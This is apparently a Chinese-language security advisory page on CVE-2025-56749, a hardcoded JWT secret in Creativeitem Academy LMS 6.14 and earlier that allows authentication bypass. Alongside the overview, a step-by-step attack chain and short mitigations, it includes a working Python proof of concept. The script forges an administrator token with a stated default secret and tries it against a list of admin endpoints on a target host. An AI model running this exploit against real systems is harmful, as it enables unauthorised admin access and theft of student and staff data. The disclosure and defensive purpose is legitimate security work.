IPBUF安全漏洞报告
English
CVE-2025-56749 CVSS 9.4 严重

CVE-2025-56749:Academy LMS硬编码JWT密钥导致认证绕过漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-56749
漏洞类型
硬编码密钥/认证绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Creativeitem Academy LMS

相关标签

硬编码密钥JWT认证绕过Academy LMS身份验证未授权访问严重漏洞CVSS 9.4Creativeitem在线学习平台

漏洞概述

CVE-2025-56749是Creativeitem Academy LMS学习管理系统中的一个严重安全漏洞,CVSS评分高达9.4,属于严重级别。该漏洞存在于Academy LMS 6.14及以下所有版本中,源于系统在JWT(JSON Web Token)签名过程中使用了硬编码的默认密钥。JWT是一种广泛用于Web应用中进行身份验证和授权的令牌机制,其安全性完全依赖于签名密钥的保密性。当密钥被硬编码在源代码中或使用可预测的默认值时,攻击者可以通过逆向工程或源代码审计轻易获取该密钥,进而伪造任意用户的JWT令牌,实现完全的身份验证绕过。

该漏洞的影响极为严重,攻击者无需任何认证凭据即可通过网络远程利用,攻击复杂度低,无需用户交互。一旦成功利用,攻击者可以伪造管理员或其他任意用户的JWT令牌,从而获得对系统的未授权访问权限。这可能导致敏感数据泄露、用户账户被接管、系统配置被篡改,甚至完全控制整个学习管理平台。由于Academy LMS通常用于在线教育机构,包含大量学生和教师的个人信息和课程数据,该漏洞的影响范围可能非常广泛。该漏洞已于2025年10月15日公开披露,发现者为[email protected]

技术细节

Academy LMS使用JWT(JSON Web Token)机制进行用户身份验证和会话管理。JWT通常由三部分组成:Header(头部)、Payload(载荷)和Signature(签名),其中签名部分使用HMAC-SHA256等算法结合一个密钥(secret)对Header和Payload进行计算生成。

漏洞的根本原因在于Academy LMS 6.14及以下版本在JWT签名时使用了硬编码的默认密钥。这意味着无论部署者在安装时是否修改了配置,系统内部仍然使用一个固定的、可预测的密钥字符串来签署所有JWT令牌。攻击者只需通过以下步骤即可利用此漏洞:

1. 获取硬编码的JWT密钥(可通过源代码审计、公开的GitHub仓库、反编译或其他渠道获取)。
2. 构造一个包含目标用户身份信息(如user_id、role等)的JWT Payload。
3. 使用获取的硬编码密钥对Payload进行HMAC-SHA256签名,生成伪造的JWT令牌。
4. 在HTTP请求的Authorization头中携带该伪造令牌(通常格式为Bearer <token>)。
5. 服务器验证JWT签名时,由于使用的是相同的硬编码密钥,验证通过,攻击者成功以目标用户身份登录。

此漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),无需用户交互(UI:N),对机密性和完整性影响均为高,对可用性影响为低。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过源代码审计、GitHub仓库搜索、反编译或其他公开渠道获取Academy LMS使用的硬编码JWT密钥。由于密钥硬编码在代码中,一旦泄露即永久有效。
STEP 2
步骤2:构造伪造Payload
攻击者使用获取的硬编码密钥,构造包含目标用户身份信息(如管理员user_id、role等)的JWT Payload,可指定任意用户身份。
STEP 3
步骤3:伪造JWT令牌
使用硬编码密钥通过HMAC-SHA256算法对伪造的Payload进行签名,生成完全有效的JWT令牌,该令牌在服务端验证时会被认为是合法的。
STEP 4
步骤4:发送认证请求
攻击者在HTTP请求的Authorization头中携带Bearer <伪造令牌>,向目标Academy LMS服务器发送请求,尝试访问受保护的资源。
STEP 5
步骤5:绕过认证
服务端使用相同的硬编码密钥验证JWT签名,验证通过后认为攻击者是合法用户(可能是管理员),授予相应权限,实现认证完全绕过。
STEP 6
步骤6:未授权操作
攻击者以管理员或任意用户身份访问系统,执行数据窃取、账户接管、配置篡改等恶意操作,对系统安全和用户数据造成严重威胁。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-56749 - Academy LMS Hardcoded JWT Secret Exploit # This PoC demonstrates how to forge a valid JWT token using the hardcoded secret import jwt # PyJWT library: pip install pyjwt import requests import json import sys # The hardcoded JWT secret used by Academy LMS <= 6.14 HARDCODED_SECRET = "academy_lms_secret_key" # Default/known hardcoded secret TARGET_URL = "http://target-academy-lms.com" # Step 1: Forge a JWT token for an admin user def forge_admin_token(): """ Forge a JWT token impersonating an administrator account. The payload structure may vary based on the application implementation. """ payload = { "id": 1, # Admin user ID "email": "[email protected]", "role": "admin", "user_type": "admin", "iat": 1697356800, # Issued at timestamp "exp": 9999999999 # Far future expiration } # Sign the token using the hardcoded secret forged_token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") print(f"[+] Forged admin JWT token:\n{forged_token}\n") return forged_token # Step 2: Use the forged token to access protected endpoints def exploit_with_token(token, target_url): """ Use the forged JWT token to access admin-only endpoints. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to access admin dashboard admin_endpoints = [ "/admin/dashboard", "/admin/users", "/admin/settings", "/api/admin/profile", "/dashboard" ] for endpoint in admin_endpoints: url = f"{target_url}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS - Accessed: {url}") print(f" Status: {response.status_code}") print(f" Response preview: {response.text[:200]}\n") return True else: print(f"[-] Failed ({response.status_code}): {url}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] CVE-2025-56749 - Academy LMS JWT Secret Exploit") print(f"[*] Target: {target}\n") # Forge the admin token token = forge_admin_token() # Attempt exploitation success = exploit_with_token(token, target) if success: print("[+] Exploitation successful! Authentication bypassed.") else: print("[-] Exploitation failed. Target may be patched or unreachable.")

影响范围

Creativeitem Academy LMS <= 6.14

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)限制对管理后台的访问IP;2)在反向代理层添加额外的认证机制;3)监控异常的JWT令牌使用模式;4)尽快联系Creativeitem官方获取补丁或安全更新;5)考虑暂时关闭非必要的公开访问功能,将系统置于维护模式直至修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表